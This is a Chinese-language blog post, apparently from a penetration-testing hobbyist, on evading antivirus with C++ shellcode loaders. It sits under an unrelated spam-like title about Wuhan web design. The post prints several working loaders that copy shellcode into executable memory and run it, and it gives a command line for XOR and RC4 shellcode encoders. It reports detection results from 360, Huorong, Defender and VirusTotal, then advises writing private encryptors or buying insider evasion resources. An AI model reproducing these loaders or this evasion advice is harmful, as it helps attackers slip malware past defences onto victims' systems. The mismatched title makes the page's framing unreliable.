武漢網(wǎng)站設(shè)計廠家網(wǎng)頁版百度云
前言
上次講了python混淆免殺,今天講一下C++混淆免殺。其實都大差不差的,也都是通過各種算法對shellcod進行混淆免殺,只不過是語言從python換成c++了而已。
實驗環(huán)境
測試環(huán)境依舊是360、火絨、WD還有VT。
shellcode上線
下面是最基本幾個shellcode加載器和運行代碼。
#include <Windows.h>
#include <stdio.h>
#include <string.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制臺程序不出黑窗口
unsigned char buf[] =" ";
int main()
{//方式一:指針執(zhí)行/* ((void(*)(void)) & buf)();*///方式二:強制類型轉(zhuǎn)換//((void(WINAPI*)(void))&buf)();//方式三:申請動態(tài)內(nèi)存加載/*char* Memory;Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);memcpy(Memory, buf, sizeof(buf));((void(*)())Memory)();*///方式四:嵌入?yún)R編加載//__asm {//lea eax,buf//call eax//}//方式五:匯編花指令//__asm{//mov eax, offset shellcode//_emit 0xFF//_emit 0xE0//}
}
C++呢它不能像python那樣直接運行就可以上線,必須生成exe才可以進行上線。順便說一下如果你生成的shellcode是64位的,那么編譯成exe也要選擇64位的,同時選擇release發(fā)布版本,如果你選擇debug版本的話,在運行的時候可能會出錯,說缺DLL啥的。
生成exe。
但是不知道為啥運行不了,黑窗彈出來然后馬上就沒了,命令運行也沒見啥報錯,奇怪了。
虛擬機運行報錯如下,有了解的還請解答一下。
后來我又找了一個加載器,不同于上面四個的,這個就可以成功運行。
void main()
{LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (Memory == NULL) { return; }memcpy(Memory, shellcode, sizeof(shellcode));((void(*)())Memory)();
}
不用說,原生態(tài)的肯定會被查殺的。
加載器免殺
上篇文章說了,除了對shellcode進行混淆之外,還可以對加載器進行免殺。這是我從github找的開源項目,反正就是換各種奇奇怪怪的加載器來執(zhí)行shellcode,但是效果就不怎么好的,基本沒有免殺成功的,就不一個個測試了。
shellcode免殺
我們利用ShellcodeWrapper這個腳本進行免殺,對我們的shellcode進行異或,或者是RC4加密。
下載地址:GitHub - Ch1ngg/ShellcodeWrapperModify: Shellcode wrapper with encryption for multiple target languages
XOR
先生成一個raw格式的shellcode。
這個項目用法也簡單,-cpp就是加密后生成一個c++的源文件,-CS就是生成C#的源文件,-py這些也同樣的道理。
./shellcode_encoder.py -cpp -cs -py -bin -go 3.bin xor
把c++的編譯一下,測試效果,其它語言自己測試就好。火絨一落地就殺了,都還沒檢測。
WD也是一落地就殺了。
360也殺了。
VT有41個引擎檢測到,免殺效果很差,不過也正常20年的項目了,現(xiàn)在都不更新了。
RC4
試試RC4看看效果如何,火絨殺掉了。
360也殺掉了
WD也不行。
說明這個項目確實沒啥用了,VT就不測試了。
總結(jié)
思路就是用C++來寫算法對shellcode加密,以此來逃過殺軟的檢測。C++的免殺效果不太好,想要達到更好的免殺效果,一個就是換其他語言,比如go啊、python啊。還有就是加密腳本盡量自己寫,因為網(wǎng)上公開的腳本,只要用的人多了,殺軟就會提取它的特征加入特征庫,所以這就是為啥公開的很快就失效了。并不是說自己寫的腳本加密方式有多復(fù)雜,而是避開了那些特征。還有就是可以進別人的星球去買內(nèi)部的免殺資源,這樣的效果會好很多。
最后,以上僅為個人的拙見,如何有不對的地方,歡迎各位師傅指正與補充,有興趣的師傅可以一起交流學(xué)習(xí)。